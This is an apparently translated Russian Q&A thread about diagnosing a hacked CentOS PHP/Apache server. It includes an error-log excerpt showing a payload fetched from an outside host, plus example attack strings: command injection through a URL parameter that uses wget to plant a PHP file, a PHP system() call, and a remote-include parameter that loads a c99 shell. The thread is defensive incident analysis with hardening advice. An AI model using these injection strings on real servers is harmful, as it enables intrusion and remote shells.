один из наших модулей CentOS, на котором работает PHP / Apache, был недавно взломан. К счастью, мы собирались вскоре вывести этот сервер из эксплуатации и иметь резервные копии и т. Д. Однако мне нужна помощь в выяснении того, как хакеры смогли проникнуть внутрь.
Из того, что я собрал, похоже, что некоторые скрипты были написаны на наши серверы с использованием apache (возможно, PUT?) В apache error_logs, которые я вижу:
[Fri Sep 10 12:46:43 2010] [error] [client xx.xx.xx.xx] File does not exist: xyz.php
--2010-09-10 12:46:45-- http://208.75.xx.xx/newmax/max.txt
Connecting to 208.75.xx.xx:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 28975 (28K) [text/plain]
Saving to: `max.txt'
0K .......... .......... ........ 100% 184K=0.2s
2010-09-10 12:46:45 (184 KB/s) - `max.txt' saved [28975/28975]
% Total % Received % Xferd Average Speed Time Time Time Current
Dload Upload Total Spent Left Speed
^M 3 28975 3 1140 0 0 8597 0 0:00:03 --:--:-- 0:00:03 8597^M100 28975 100 28975 0 0 88203 0 --:--:-- --:--:-- --:--:-- 139k
sh: lynx: command not found
[Fri Sep 10 12:46:43 2010] [error] [client xx.xx.xx.xx] File does not exist: xyz.php
(первая и последняя строки - это просто фиктивные строки ошибок, чтобы указать формат журнала и странность того, как записи находятся между ними).
Есть идеи, как журнал ошибок apache будет иметь этот формат и как он мог быть запущен?
Я добавлю больше к этому вопросу, когда наткнусь на новые выводы.
Типичный способ взлома сервера выглядит так:
1) На сервере работает PHP с настройками по умолчанию; это означает отсутствие safe_mode, разрешены все функции POSIX (такие как system ()) и активирована пара универсальных, но опасных модулей PHP, таких как curl.
2) На сервере установлен / tmp (или любой другой каталог temp для загрузки http) с настройками по умолчанию; это означает, что он позволяет исполнять файлы.
3) Сервер имеет / var / www (или любую другую точку монтирования для webroot) смонтирован с настройками по умолчанию; это означает, что он позволяет исполнять файлы.
4) Есть самодельный PHP-скрипт со слабой проверкой ввода / известной уязвимостью в некоторых CMS или другом установленном программном обеспечении.
В такой среде злоумышленник может загрузить вредоносный файл через http или указать серверу получить его с удаленного сервера, а затем просто запустить этот сценарий, передав некоторые параметры URL-адреса, в которых отсутствует проверка ввода.
Если сценарий PHP не проверяет ввод, параметры URL (или запрос POST) могут содержать такие вещи, как <?php system("/tmp/pwn4g3"); ?>. karmawhore уже объяснил это.
Итак, чтобы остановить это зло:
Я предполагаю, что register_globals включен, и вы используете OSCommerce без четырех исправлений на их форумах. Почему они отказываются обновлять файлы .zip / .gz патчами, я не знаю.
Я полагаю, что max.txt, вероятно, является оболочкой c99 и загружается в ваш / store / images путь как something.php. Как только они смогут запустить этот файл в браузере, у них появится удаленная оболочка.
Если вы не используете OSCommerce, поищите обращения к вашим включаемым файлам. Т.е. у вас может быть файл function.php, который не следует вызывать напрямую, который имеет:
exec($path . 'convert blahblah');
запрос отправляется с:
hxxp://yoursite.com/function.php?path=wget%20-O%20/path/to/something/web/accessible/file.php%20hxxp://blahblah
что позволяет им записывать файл на диск, который может быть запущен удаленно. Также возможно, что они использовали XSS-эксплойт в вашем коде, чтобы сделать что-то вроде:
require($webpath . '/functions.lib.php');
и запрос был отправлен с помощью? webpath = hxxp: //c99shell.com/location.txt? что дало им удаленную оболочку. Получив удаленную оболочку, они попытались запустить wget / lynx (или загрузили сценарий оболочки для запуска ряда методов, чтобы убедиться, что их полезная нагрузка установлена)
В этом случае может помочь allow_url_include = off.